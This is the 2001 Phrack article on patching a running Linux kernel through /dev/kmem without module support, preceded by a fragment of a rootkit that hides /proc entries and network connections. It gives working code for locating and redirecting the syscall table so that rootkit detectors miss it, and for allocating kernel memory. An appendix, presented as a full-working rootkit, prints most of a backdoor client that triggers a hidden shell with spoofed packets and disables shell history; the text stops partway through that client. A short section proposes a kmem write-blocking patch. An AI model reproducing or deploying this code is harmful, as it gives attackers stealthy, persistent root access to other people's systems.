* returns the directory entry of a given file. the function will traverse * thru the filesystems structure until it found the matching file. * the pr argument may be either NULL or a starting point for the search. * path is a string. if it begins with '~' and pr is NULL the search starts * at proc_root.

*/

struct proc_dir_entry *traverse_proc (char *path, struct proc_dir_entry *pr) {

intx = 0;

char*tmp = NULL;

if (path == NULL)

return NULL;

if (path[0] == '~')

{

lst_entry = &proc_root;

return traverse_proc (path + 2, (struct proc_dir_entry *) proc_root.subdir); }

while (path[x] != '/' && path[x] != 0)

x++;

tmp = kmalloc (x + 1, GFP_KERNEL);

memset (tmp, 0, x + 1);

memcpy (tmp, path, x);

while (strcmp (tmp, (char *) pr‑>name))

{

if (pr‑>subdir != NULL && path[x] == '/')

{

if (!strcmp (tmp, (char *) pr‑>subdir‑>name))

{

kfree (tmp);

lst_entry = pr;

return traverse_proc (path + x + 1, pr‑>subdir);

}

}

lst_entry = pr;

pr = pr‑>next;

if (pr == NULL)

{

kfree (tmp);

return NULL;

}

}

kfree (tmp);

if (*(path + x) == 0)

return pr;

else

{

lst_entry = pr;

return traverse_proc (path + x + 1, pr‑>subdir);

}

}

/*

* delete_proc_file:

* remove a file from of the proc filesystem. the files inode will still exist but it will * no longer be accessable (not pointed to by any other proc inode). the subdir pointer will * be copy'ed to the the subdir pointer of the preceeding inode. * returns 1 on success, 0 on error.

*/

int delete_proc_file (char *name)

{

struct proc_dir_entry*last = NULL;

char*tmp = NULL;

inti = 0;/* delete subdir? */

last = traverse_proc (name, NULL);

if (last == NULL)

return 0;

if (lst_entry == NULL)

return 0;

if (last‑>subdir != NULL && i)

lst_entry‑>subdir = last‑>subdir;

while (*name != 0)

{

if (*name == '/')

tmp = name + 1;

*name++;

}

if (!strcmp (tmp, lst_entry‑>next‑>name))

lst_entry‑>next = last‑>next;

else if (!strcmp (tmp, lst_entry‑>subdir‑>name)) lst_entry‑>subdir = last‑>next;

else

return 0;

return 1;

}

int init_module ()

{

struct proc_dir_entry*last = NULL;

last = traverse_proc ("~/net/tcp", NULL);

old_readdir_root = proc_root.FILE_OPS‑>readdir; old_lookup_root = proc_root.INODE_OPS‑>lookup;

proc_root.FILE_OPS‑>readdir = &new_readdir_root; proc_root.INODE_OPS‑>lookup = &new_lookup_root;

if (last != NULL)

{

#ifdef DEBUG

printk ("Installing hooks ....\n");

#endif

old_get_info_tcp = last‑>get_info;

old_write_tcp = last‑>FILE_OPS‑>write;

last‑>get_info = &new_get_info_tcp; last‑>FILE_OPS‑>write = &new_write_tcp;

}

return 0;

}

void cleanup_module ()

{

struct proc_dir_entry*last = NULL;

last = traverse_proc ("~/net/tcp", NULL);

proc_root.FILE_OPS‑>readdir = old_readdir_root; proc_root.INODE_OPS‑>lookup = old_lookup_root;

if (last != NULL)

{

#ifdef DEBUG

printk ("Removing hooks ....\n");

#endif

last‑>get_info = old_get_info_tcp; last‑>FILE_OPS‑>write = old_write_tcp;

}

}

Linux on-the-fly kernel patching without LKM

==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x07 of 0x0e

|=‑‑‑‑‑‑‑‑‑‑=[ Linux on‑the‑fly kernel patching without LKM ]=‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ sd <sd@sf.cz>, devik <devik@cdi.cz> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ December 12th 2001 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

2 ‑ /dev/kmem is our friend

3 ‑ Replacing kernel syscalls, sys_call_table[]

3.1 ‑ How to get sys_call_table[] without LKM ?

3.2 ‑ Redirecting int 0x80 call sys_call_table[eax] dispatch

4 ‑ Allocating kernel space without help of LKM support 4.1 ‑ Searching kmalloc() using LKM support

4.2 ‑ pattern search of kmalloc()

4.3 ‑ The GFP_KERNEL value

4.4 ‑ Overwriting a syscall

5 ‑ What you should take care of

6 ‑ Possible solutions

7 ‑ Conclusion

8 ‑ References

9 ‑ Appendix: SucKIT: The implementation

‑‑[ 1 ‑ Introduction

In the beginning, we must thank Silvio Cesare, who developed the technique of kernel patching a long time ago, most of ideas was stolen from him.

In this paper, we will discuss way of abusing the Linux kernel (syscalls mostly) without help of module support or System.map at all, so that we assume that the reader will have a clue about what LKM is, how a LKM is loaded into kernel etc. If you are not sure, look at some documentation (paragraph 6. [1], [2], [3])

Imagine a scenario of a poor man which needs to change some interesting linux syscall and LKM support is not compiled in. Imagine he have got a box, he got root but the admin is so paranoid and he (or tripwire) don't poor man's patched sshd and that box have not gcc/lib/.h needed for compiling of his favourite LKM rootkit. So there are some solutions, step by step and as an appendix, a full‑featured linux‑ia32 rootkit, an example/tool, which implements all the techinques described here.

Most of things described there (such as syscalls, memory addressing schemes ... code too) can work only on ia32 architecture. If someone investigate(d) to other architectures, please contact us.

‑‑[ 2 ‑ /dev/kmem is our friend

"Mem is a character device file that is an image of the main memory of the computer. It may be used, for example, to examine (and even patch) the system."

‑‑ from the Linux 'mem' man page

For full and complex documentation about run‑time kernel patching take a look at excellent Silvio's article about this subject [2]. Just in short:

Everything we do in this paper with kernel space is done using the standard linux device, /dev/kmem. Since this device is mostly +rw only for root, you must be root too if you want to abuse it.

Note that changing of /dev/kmem permission to gain access is not sufficient. After /dev/kmem access is allowed by VFS then there is second check in device/char/mem.c for capable(CAP_SYS_RAWIO) of process.

We should also note that there is another device, /dev/mem. It is physical memory before VM translation. It might be possible to use it if we were know page directory location. We didn't investigate this possibility.

Selecting address is done through lseek(), reading using read() and writing with help of write() ... simple.

There are some helpful functions for working with kernel stuff:

/* read data from kmem */

static inline int rkm(int fd, int offset, void *buf, int size) {

if (lseek(fd, offset, 0) != offset) return 0; if (read(fd, buf, size) != size) return 0; return size;

}

/* write data to kmem */

static inline int wkm(int fd, int offset, void *buf, int size) {

if (lseek(fd, offset, 0) != offset) return 0; if (write(fd, buf, size) != size) return 0; return size;

}

/* read int from kmem */

static inline int rkml(int fd, int offset, ulong *buf)

{

return rkm(fd, offset, buf, sizeof(ulong));

}

/* write int to kmem */

static inline int wkml(int fd, int offset, ulong buf)

{

return wkm(fd, offset, &buf, sizeof(ulong));

}

‑‑[ 3 ‑ Replacing kernel syscalls, sys_call_table[]

As we all know, syscalls are the lowest level of system functions (from viewpoint of userspace) in Linux, so we'll be interested mostly in them. Syscalls are grouped together in one big table (sct), it is just a one‑dimension array of 256 ulongs (=pointers, on ia32 architecture), where indexing the array by a syscall number gives us the entrypoint of given syscall. That's it.

An example pseudocode:

/* as everywhere, "Hello world" is good for begginers ;‑) */

/* our saved original syscall */

int (*old_write) (int, char *, int);

/* new syscall handler */

new_write(int fd, char *buf, int count) {

if (fd == 1) { /* stdout ? */

old_write(fd, "Hello world!\n", 13); return count;

} else {

return old_write(fd, buf, count);

}

}

old_write = (void *) sys_call_table[__NR_write]; /* save old */

sys_call_table[__NR_write] = (ulong) new_write; /* setup new one */

/* Err... there should be better things to do instead fucking up console

with "Hello worlds" ;) */

This is the classic scenario of a various LKM rootkits (see paragraph 7), tty sniffers/hijackers (the halflife's one, f.e. [4]) where it is guaranted that we can import sys_call_table[] and manipulate it in a correct manner, i.e. it is simply "imported" by /sbin/insmod

[ using create_module() / init_module() ]

Uhh, let's stop talking about nothing, we think this is clear enough for everybody.

‑‑[ 3.1 ‑ How to get sys_call_table[] without LKM

At first, note that the Linux kernel _doesn not keep_ any kinda of information about it's symbols in case when there is no LKM support compiled in. It is rather a clever decision because why could someone need it without LKM ? For debugging ? You have System.map instead. Well WE need it :) With LKM support there are symbols intended to be imported into LKMs (in their special linker section), but we said without LKM, right ?

As far we know, the most elegant way how to obtain sys_call_table[] is:

#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

struct {

unsigned short limit;

unsigned int base;

} __attribute__ ((packed)) idtr;

struct {

unsigned short off1;

unsigned short sel;

unsigned char none,flags;

unsigned short off2;

} __attribute__ ((packed)) idt;

int kmem;

void readkmem (void *m,unsigned off,int sz)

{

if (lseek(kmem,off,SEEK_SET)!=off) { perror("kmem lseek"); exit(2);

}

if (read(kmem,m,sz)!=sz) { perror("kmem read"); exit(2);

}

}

#define CALLOFF 100 /* we'll read first 100 bytes of int $0x80*/

main ()

{

unsigned sys_call_off;

unsigned sct;

char sc_asm[CALLOFF],*p;

/* well let's read IDTR */

asm ("sidt %0" : "=m" (idtr));

printf("idtr base at 0x%X\n",(int)idtr.base);

/* now we will open kmem */

kmem = open ("/dev/kmem",O_RDONLY);

if (kmem<0) return 1;

/* read‑in IDT for 0x80 vector (syscall) */

readkmem (&idt,idtr.base+8*0x80,sizeof(idt)); sys_call_off = (idt.off2 << 16) | idt.off1; printf("idt80: flags=%X sel=%X off=%X\n", (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);

/* we have syscall routine address now, look for syscall table

dispatch (indirect call) */

readkmem (sc_asm,sys_call_off,CALLOFF);

p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3); sct = *(unsigned*)(p+3);

if (p) {

printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p);

}

close(kmem);

}

How it works ? The sidt instruction "asks the processor" for the interrupt descriptor table [asm ("sidt %0" : "=m" (idtr));], from

this structure we will get a pointer to the interrupt descriptor of int $0x80 [readkmem (&idt,idtr.base+8*0x80,sizeof(idt));].

>From the IDT we can compute the address of int $0x80's entrypoint [sys_call_off = (idt.off2 << 16) | idt.off1;]

Good, we know where int $0x80 began, but that is not our loved sys_call_table[]. Let's take a look at the int $0x80 entrypoint:

[sd@pikatchu linux]$ gdb ‑q /usr/src/linux/vmlinux

(no debugging symbols found)...(gdb) disass system_call

Dump of assembler code for function system_call:

0xc0106bc8 <system_call>: push %eax

0xc0106bc9 <system_call+1>: cld

0xc0106bca <system_call+2>: push %es

0xc0106bcb <system_call+3>: push %ds

0xc0106bcc <system_call+4>: push %eax

0xc0106bcd <system_call+5>: push %ebp

0xc0106bce <system_call+6>: push %edi

0xc0106bcf <system_call+7>: push %esi

0xc0106bd0 <system_call+8>: push %edx

0xc0106bd1 <system_call+9>: push %ecx

0xc0106bd2 <system_call+10>: push %ebx

0xc0106bd3 <system_call+11>: mov $0x18,%edx

0xc0106bd8 <system_call+16>: mov %edx,%ds

0xc0106bda <system_call+18>: mov %edx,%es

0xc0106bdc <system_call+20>: mov $0xffffe000,%ebx 0xc0106be1 <system_call+25>: and %esp,%ebx

0xc0106be3 <system_call+27>: cmp $0x100,%eax

0xc0106be8 <system_call+32>: jae 0xc0106c75 <badsys> 0xc0106bee <system_call+38>: testb $0x2,0x18(%ebx) 0xc0106bf2 <system_call+42>: jne 0xc0106c48 <tracesys> 0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4) <‑‑ that's it 0xc0106bfb <system_call+51>: mov %eax,0x18(%esp,1) 0xc0106bff <system_call+55>: nop

End of assembler dump.

(gdb) print &sys_call_table

$1 = (<data variable, no debug info> *) 0xc01e0f18 <‑‑ see ? it's same (gdb) x/xw (system_call+44)

0xc0106bf4 <system_call+44>: 0x188514ff <‑‑ opcode (little endian) (gdb)

In short, near to beginning of int $0x80 entrypoint is

'call sys_call_table(,eax,4)' opcode, because this indirect call does not vary between kernel versions (it is same on 2.0.10 => 2.4.10), it's relatively safe to search just for pattern of 'call <something>(,eax,4)'

opcode = 0xff 0x14 0x85 0x<address_of_table>

[memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);]

Being paranoid, one could do a more robust hack. Simply redirect whole int $0x80 handler in IDT to our fake handler and intercept interesting calls here. It is a bit more complicated as we would have to handle reentrancy ...

At this time, we know where sys_call_table[] is and we can change the address of some syscalls:

Pseudocode:

readkmem(&old_write, sct + __NR_write * 4, 4); /* save old */

writekmem(new_write, sct + __NR_write * 4, 4); /* set new */

‑‑[ 3.2 ‑ Redirecting int $0x80 call sys_call_table[eax] dispatch

When writing this article, we found some "rootkit detectors" on Packetstorm/Freshmeat. They are able to detect the fact that something is wrong with a LKM/syscalltable/other kernel stuff...fortunately, most of them are too stupid and can be simply fooled by the the trick introduced in [6] by SpaceWalker:

Pseudocode:

ulong sct = addr of sys_call_table[]

char *p = ptr to int 0x80's call sct(,eax,4) ‑ dispatch ulong nsct[256] = new syscall table with modified entries

readkmem(nsct, sct, 1024); /* read old */

old_write = nsct[__NR_write];

nsct[__NR_write] = new_write;

/* replace dispatch to our new sct */

writekmem((ulong) p+3, nsct, 4);

/* Note that this code never can work, because you can't

redirect something kernel related to userspace, such as sct[] in this case */

Background:

We create a copy of the original sys_call_table[] [readkmem(nsct, sct, 1024);], then we will modify entries which we're interested in [old_write = nsct[__NR_write]; nsct[__NR_write] = new_write;] and then change _only_ addr of <something> in the call <something>(,eax,4):

0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4)

Here will be address of

our_ sct[]

LKM detectors (which does not check consistency of int $0x80) won't see anything, sys_call_table[] is the same, but int $0x80 uses our implanted table.

‑‑[ 4 ‑ Allocating kernel space without help of LKM support Next thing that we need is a memory page above the 0xc0000000 (or 0x80000000) address.

The 0xc0000000 value is demarcation point between user and kernel memory. User processes have not access above the limit. Take into account that this value is not exact, and may be different, so it is good idea to figure out the limit on the fly (from int $0x80's entrypoint). Well, how to get our page above the limit ? Let's take a look how regular kernel LKM support does it (/usr/src/linux/kernel/module.c):

...

void inter_module_register(const char *im_name, struct module *owner, const void *userdata)

{

struct list_head *tmp;

struct inter_module_entry *ime, *ime_new;

if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) { /* Overloaded kernel, not fatal */

...

As we expected, they used kmalloc(size, GFP_KERNEL) ! But we can't use kmalloc() yet because:

‑ We don't know the address of kmalloc() [ paragraph 4.1, 4.2 ] ‑ We don't know the value of GFP_KERNEL [ paragraph 4.3 ] ‑ We can't call kmalloc() from user‑space [ paragraph 4.4 ]

‑‑[ 4.1 ‑ Searching for kmalloc() using LKM support

If we can use LKM support:

/* kmalloc() lookup */

/* simplest & safest way, but only if LKM support is there */

ulong get_sym(char *n) {

struct kernel_sym tab[MAX_SYMS];

int numsyms;

int i;

numsyms = get_kernel_syms(NULL);

if (numsyms > MAX_SYMS || numsyms < 0) return 0; get_kernel_syms(tab);

for (i = 0; i < numsyms; i++) {

if (!strncmp(n, tab[i].name, strlen(n))) return tab[i].value;

}

return 0;

}

ulong get_kma(ulong pgoff)

{

ret = get_sym("kmalloc");

if (ret) return ret;

return 0;

}

We leave this without comments.

‑‑[ 4.2 ‑ pattern search of kmalloc()

But if LKM is not there, were getting into troubles. The solution is quite dirty, and not‑so‑good by the way, but it seem to work. We'll walk through kernel's .text section and look for patterns such as:

push GFP_KERNEL <something between 0‑0xffff> push size <something between 0‑0x1ffff> call kmalloc

All info will be gathered into a table, sorted and the function called most times will be our kmalloc(), here is code:

/* kmalloc() lookup */

#define RNUM 1024

ulong get_kma(ulong pgoff)

{

struct { uint a,f,cnt; } rtab[RNUM], *t;

uint i, a, j, push1, push2;

uint found = 0, total = 0;

uchar buf[0x10010], *p;

int kmem;

ulong ret;

/* uhh, before we try to brute something, attempt to do things

in the *right* way ;)) */

ret = get_sym("kmalloc");

if (ret) return ret;

/* humm, no way ;)) */

kmem = open(KMEM_FILE, O_RDONLY, 0);

if (kmem < 0) return 0;

for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000); i += 0x10000) {

if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0; /* loop over memory block looking for push and calls */

for (p = buf; p < buf + 0x10000;) { switch (*p++) {

case 0x68:

push1 = push2;

push2 = *(unsigned*)p;

p += 4;

continue;

case 0x6a:

push1 = push2;

push2 = *p++;

continue;

case 0xe8:

if (push1 && push2 &&

push1 <= 0xffff &&

push2 <= 0x1ffff) break;

default:

push1 = push2 = 0;

continue;

}

/* we have push1/push2/call seq; get address */

a = *(unsigned *) p + i + (p ‑ buf) + 4; p += 4; total++;

/* find in table */

for (j = 0, t = rtab; j < found; j++, t++)

if (t‑>a == a && t‑>f == push1) break;

if (j < found)

t‑>cnt++;

else

if (found >= RNUM) {

return 0;

}

else {

found++;

t‑>a = a;

t‑>f = push1;

t‑>cnt = 1;

}

push1 = push2 = 0;

} /* for (p = buf; ... */

} /* for (i = (pgoff + 0x100000) ...*/

close(kmem);

t = NULL;

for (j = 0;j < found; j++) /* find a winner */

if (!t || rtab[j].cnt > t‑>cnt) t = rtab+j; if (t) return t‑>a;

return 0;

}

The code above is a simple state machine and it doesn't bother itself with potentionaly different asm code layout (when you use some exotic GCC options). It could be extended to understand different code patterns (see switch statement) and can be made more accurate by checking GFP value in PUSHes against known patterns (see paragraph bellow).

The accuracy of this code is about 80% (i.e. 80% points to kmalloc, 20% to some junk) and seem to work on 2.2.1 => 2.4.13 ok.

‑‑[ 4.3 The GFP_KERNEL value

Next problem we get while using kmalloc() is the fact that value of GFP_KERNEL varies between kernel series, but we can get rid of it by help of uname()

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| kernel version | GFP_KERNEL value |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| 1.0.x .. 2.4.5 | 0x3 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| 2.4.6 .. 2.4.x | 0x1f0 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Note that there is some troubles with 2.4.7‑2.4.9 kernels, which sometimes crashes due to bad GFP_KERNEL, simply because

the table above is not exact, it only shows values we CAN use.

The code:

#define NEW_GFP 0x1f0

#define OLD_GFP 0x3

/* uname struc */

struct un {

char sysname[65];

char nodename[65];

char release[65];

char version[65];

char machine[65];

char domainname[65];

};

int get_gfp()

{

struct un s;

uname(&s);

if ((s.release[0] == '2') && (s.release[2] == '4') && (s.release[4] >= '6' ||

(s.release[5] >= '0' && s.release[5] <= '9'))) { return NEW_GFP;

}

return OLD_GFP;

}

‑‑[ 4.3 ‑ Overwriting a syscall

As we mentioned above, we can't call kmalloc() from user‑space directly, solution is Silvio's trick [2] of replacing syscall:

1. Get address of some syscall

(IDT ‑> int 0x80 ‑> sys_call_table)

2. Create a small routine which will call kmalloc() and return pointer to allocated page

3. Save sizeof(our_routine) bytes of some syscall 4. Overwrite code of some syscall by our routine 5. Call this syscall from userspace thru int $0x80, so our routine will operate in kernel context and can call kmalloc() for us passing out the address of allocated memory as return value. 6. Restore code of some syscall with saved bytes (in step 3.)

our_routine may look as something like that:

struct kma_struc {

ulong (*kmalloc) (uint, int);

int size;

int flags;

ulong mem;

} __attribute__ ((packed));

int our_routine(struct kma_struc *k)

{

k‑>mem = k‑>kmalloc(k‑>size, k‑>flags);

return 0;

}

In this case we directly pass needed info to our routine.

Now we have kernel memory, so we can copy our handling routines there, point entries in fake sys_call_table to them, infiltrate this fake table into int $0x80 and enjoy the ride :)

‑‑[ 5 ‑ What you should take care of

It would be good idea to follow these rules when writing something using this technique:

‑ Take care of kernel versions (We mean GFP_KERNEL). ‑ Play _only_ with syscalls, _do not_ use any internal kernel structures including task_struct, if you want to stay portable between kernel series.

‑ SMP may cause some troubles, remember to take care about reentrantcy and where it is needed, use user‑space locks [ src/core.c#ualloc() ]

‑‑[ 6 ‑ Possible solutions

Okay, now from the good man's point of view. You probably would like to defeat attacks of kids using such annoying toys. Then you should apply following kmem read‑only patch and disable LKM support in your kernel.

<++> kmem‑ro.diff

‑‑‑ /usr/src/linux/drivers/char/mem.c Mon Apr 9 13:19:05 2001 +++ /usr/src/linux/drivers/char/mem.c Sun Nov 4 15:50:27 2001 @@ ‑49,6 +51,8 @@

const char * buf, size_t count, loff_t *ppos)

{

ssize_t written;

+ /* disable kmem write */

+ return ‑EPERM;

written = 0;

#if defined(__sparc__) || defined(__mc68000__)

<‑‑>

Note that this patch can be source of troubles in conjuction with some old utilities which depends on /dev/kmem writing ability. That's payment for security.

‑‑[ 7 ‑ Conclusion

The raw memory I/O devices in linux seems to be pretty powerful. Attackers (of course, with root privileges) can use them

to hide their actions, steal informations, grant remote access and so on for a long time without being noticed. As far we know, there is not so big use of these devices (in the meaning of write access), so it may be good idea to disable their writing ability.

‑‑[ 8 ‑ References

[1] Silvio Cesare's homepage, pretty good info about low‑level linux stuff [http://www.big.net.au/~silvio]

[2] Silvio's article describing run‑time kernel patching (System.map) [http://www.big.net.au/~silvio/runtime‑kernel‑kmem‑patching.txt]

[3] QuantumG's homepage, mostly virus related stuff [http://biodome.org/~qg]

[4] "Abuse of the Linux Kernel for Fun and Profit" by halflife [Phrack issue 50, article 05]

[5] "(nearly) Complete Linux Loadable Kernel Modules. The definitive guide for hackers, virus coders and system administrators." [http://www.thehackerschoice.com/papers]

At the end, I (sd) would like to thank to devik for helping me a lot with this crap, to Reaction for common spelling checks and to anonymous editor's friend which proved the quality of article a lot.

‑‑[ 9 ‑ Appendix ‑ SucKIT: The implementation

I'm sure that you are smart enough, so you know how to extract, install and use these files.

[MORONS HINT: Try Phrack extraction utility, ./doc/README]

ATTENTION: This is a full‑working rootkit as an example of the technique described above, the author doesn't take ANY RESPONSIBILITY for any damage caused by (mis)use of this software.

<++> ./client/Makefile

client: client.c

$(CC) $(CFLAGS) ‑I../include client.c ‑o client

clean:

rm ‑f client core

<‑‑> ./client/Makefile

<++> ./client/client.c

/* $Id: client.c, TTY client for our backdoor, see src/bd.c */

#include <sys/wait.h>

#include <sys/types.h>

#include <sys/resource.h>

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <signal.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <string.h>

#include <fcntl.h>

#include <netinet/tcp.h>

#include <netinet/ip.h>

#include <netinet/in.h>

#include <sys/ioctl.h>

#include <sys/types.h>

#include <net/if.h>

#include <netdb.h>

#include <arpa/inet.h>

#include <termios.h>

#include <errno.h>

#include <string.h>

#define DEST_PORT 80

/* retry timeout, 15 secs works fine,

try lower values on slower networks */

#define RETRY 15

#include "ip.h"

int winsize;

char *envtab[] =

{

"",

"",

"LOGNAME=shitdown",

"USERNAME=shitdown",

"USER=shitdown",

"PS1=[rewt@\\h \\W]\\$ ", "HISTFILE=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:" "/usr/local/sbin:/usr/X11R6/bin:./bin", "!TERM",

NULL

};

int sendenv(int sock)

{

struct winsize ws;

#define ENVLEN 256

char envbuf[ENVLEN+1];

char buf1[256];

char buf2[256];

int i = 0;

ioctl(0, TIOCGWINSZ, &ws);

sprintf(buf1, "COLUMNS=%d", ws.ws_col); sprintf(buf2, "LINES=%d", ws.ws_row); envtab[0] = buf1; envtab[1] = buf2;

while (envtab[i]) {

bzero(envbuf, ENVLEN);

if (envtab[i][0] == '!') { char *env;

env = getenv(&envtab[i][1]); if (!env) goto oops; sprintf(envbuf, "%s=%s", &envtab[i][1], env); } else { strncpy(envbuf, envtab[i], ENVLEN); }

if (write(sock, envbuf, ENVLEN) < ENVLEN) return 0; oops:

i++;

}

return write(sock, "\n", 1);

}

void winch(int i)

{

signal(SIGWINCH, winch);

winsize++;

}

void sig_child(int i)

{

waitpid(‑1, NULL, WNOHANG);

}

int usage(char *s)

{

printf(

"Usage:\n"

"\t%s <host> [source_addr] [source_port]\n\n" ,s);

return 1;

}

ulong resolve(char *s)

{

struct hostent *he;

struct sockaddr_in si;

/* resolve host */

bzero((char *) &si, sizeof(si)); si.sin_addr.s_addr = inet_addr(s);

if (si.sin_addr.s_addr == INADDR_NONE) { printf("Looking up %s...", s); fflush(stdout); he = gethostbyname(s);

if (!he) { printf("Failed!\n"); return INADDR_NONE;

}

memcpy((char *) &si.sin_addr, (char *) he‑>h_addr, sizeof(si.sin_addr)); printf("OK\n");

}

return si.sin_addr.s_addr;

}

int raw_send(struct rawdata *d, ulong tfrom, ushort sport, ulong to, ushort dport)

{

int raw_sock;

int hincl = 1;

struct sockaddr_in from;

struct ippkt packet;

struct pseudohdr psd;

int err;

char tosum[sizeof(psd) + sizeof(packet.tcp)];

raw_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (raw_sock < 0) {

perror("socket");

return 0;

}

if (setsockopt(raw_sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)) < 0) { perror("socket"); close(raw_sock);

return 0;

}

bzero((char *) &packet, sizeof(packet)); from.sin_addr.s_addr = to;

from.sin_family = AF_INET;

/* setup IP header */

packet.ip.ip_len = sizeof(struct ip) + sizeof(struct tcphdr) + 12 + sizeof(struct rawdata); packet.ip.ip_hl = sizeof(packet.ip) >> 2; packet.ip.ip_v = 4;

packet.ip.ip_ttl = 255;

packet.ip.ip_tos = 0;

packet.ip.ip_off = 0;

packet.ip.ip_id = htons((int) rand()); packet.ip.ip_p = 6;

packet.ip.ip_src.s_addr = tfrom; /* www.microsoft.com :) */

packet.ip.ip_dst.s_addr = to;

packet.ip.ip_sum = in_chksum((u_short *) &packet.ip,

sizeof(struct ip));

/* tcp header */

packet.tcp.source = sport;

packet.tcp.dest = dport;

packet.tcp.seq = 666;

packet.tcp.ack = 0;

packet.tcp.urg = 0;

packet.tcp.window = 1234;

packet.tcp.urg_ptr = 1234;

memcpy(packet.data, (char *) d, sizeof(struct rawdata));

/* pseudoheader */

memcpy(&psd.saddr, &packet.ip.ip_src.s_addr, 4); memcpy(&psd.daddr, &packet.ip.ip_dst.s_addr, 4); psd.protocol = 6;

psd.lenght = htons(sizeof(struct tcphdr) + 12 + sizeof(struct rawdata)); memcpy(tosum, &psd, sizeof(psd));

memcpy(tosum + sizeof(psd), &packet.tcp, sizeof(packet.tcp)); packet.tcp.check = in_chksum((u_short *) &tosum, sizeof(tosum));

/* send that fuckin' stuff */

err = sendto(raw_sock, &packet, sizeof(struct ip) +

sizeof(struct iphdr) + 12 +

sizeof(struct rawdata),

0, (struct sockaddr *) &from,

sizeof(struct sockaddr));

if (err < 0) {

perror("sendto"); close(raw_sock);

return 0;

}

close(raw_sock);

return 1;

}

#define BUF 16384

int main(int argc, char *argv[])

{

ulong serv;

ulong saddr;

ushort sport = htons(80);

char hostname[1024];

struct rawdata data;

int sock;

int pid;

struct sockaddr_in peer;

struct sockaddr_in srv;

int slen = sizeof(srv);

int ss;

char pwd[256];

int i;

struct termios old, new;

unsigned char buf[BUF];

fd_set fds;

struct winsize ws;

/* input checks */

if (argc < 2) return usage(argv[0]);

serv = resolve(argv[1]);

if (!serv) return 1;

if (argc >= 3) {

saddr = resolve(argv[2]);

if (!saddr) return 1;

} else {

if (gethostname(hostname, sizeof(hostname)) < 0) { perror("gethostname"); return 1;

}

saddr = resolve(hostname);

if (!saddr) return 1;

}

if (argc == 4) {

int i;

if (sscanf(argv[3], "%u", &i) != 1) return usage(argv[0]); sport = htons(i);

}

peer.sin_addr.s_addr = serv;

printf("Trying %s...", inet_ntoa(peer.sin_addr)); fflush(stdout); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock < 0) {

perror("socket");

return 1;

}

bzero((char *) &peer, sizeof(peer));

peer.sin_family = AF_INET; peer.sin_addr.s_addr = htonl(INADDR_ANY); peer.sin_port = 0;

if (bind(sock, (struct sockaddr *) &peer, sizeof(peer)) < 0) { perror("bind");

return 1;

}

if (listen(sock, 1) < 0) { perror("listen");

return 1;

}

pid = fork();

if (pid < 0) {

perror("fork");

return 1;

}

/* child ? */

if (pid == 0) {

int plen = sizeof(peer); if (getsockname(sock, (struct sockaddr *) &peer, &plen) < 0) { exit(0);

}

data.ip = saddr;

data.port = peer.sin_port; data.id = RAWID;

while (1) {

int i;

if (!raw_send(&data, saddr, sport, serv, htons(DEST_PORT))) {

exit(0);

}

for (i = 0; i < RETRY; i++) {

printf("."); fflush(stdout);

sleep(1);

}

}

}

signal(SIGCHLD, sig_child);

ss = accept(sock, (struct sockaddr *) &srv, &slen); if (ss < 0) {

perror("Network error"); kill(pid, SIGKILL);

exit(1);

}

kill(pid, SIGKILL);

close(sock);

printf("\nChallenging %s\n", argv[1]);

/* set‑up terminal */

tcgetattr(0, &old);

new = old;

new.c_lflag &= ~(ICANON | ECHO | ISIG); new.c_iflag &= ~(IXON | IXOFF);

tcsetattr(0, TCSAFLUSH, &new);

printf(

"Connected to %s.\n"

"Escape character is '^K'\n", argv[1]);

printf("Password:"); fflush(stdout); bzero(pwd, sizeof(pwd));

i = 0;

while (1) {

if (read(0, &pwd[i], 1) <= 0) break; if (pwd[i] == ECHAR) { printf("Interrupted!\n"); tcsetattr(0, TCSAFLUSH, &old); return 0;

}

if (pwd[i] == '\n') break; i++;

}

pwd[i] = 0;

write(ss, pwd, sizeof(pwd));

printf("\n");

if (sendenv(ss) <= 0) { perror("Failed");

tcsetattr(0, TCSAFLUSH, &old); return 1;

}

/* everything seems to be OK, so let's go ;) */

winch(0);

while (1) {

FD_ZERO(&fds);

FD_SET(0, &fds);

FD_SET(ss, &fds);

if (winsize) {

if (ioctl(0, TIOCGWINSZ, &ws) == 0) {

buf[0] = ECHAR;

buf[1] = (ws.ws_col >> 8) & 0xFF;

buf[2] = ws.ws_col & 0xFF;

buf[3] = (ws.ws_row >> 8) & 0xFF;

buf[4] = ws.ws_row & 0xFF;

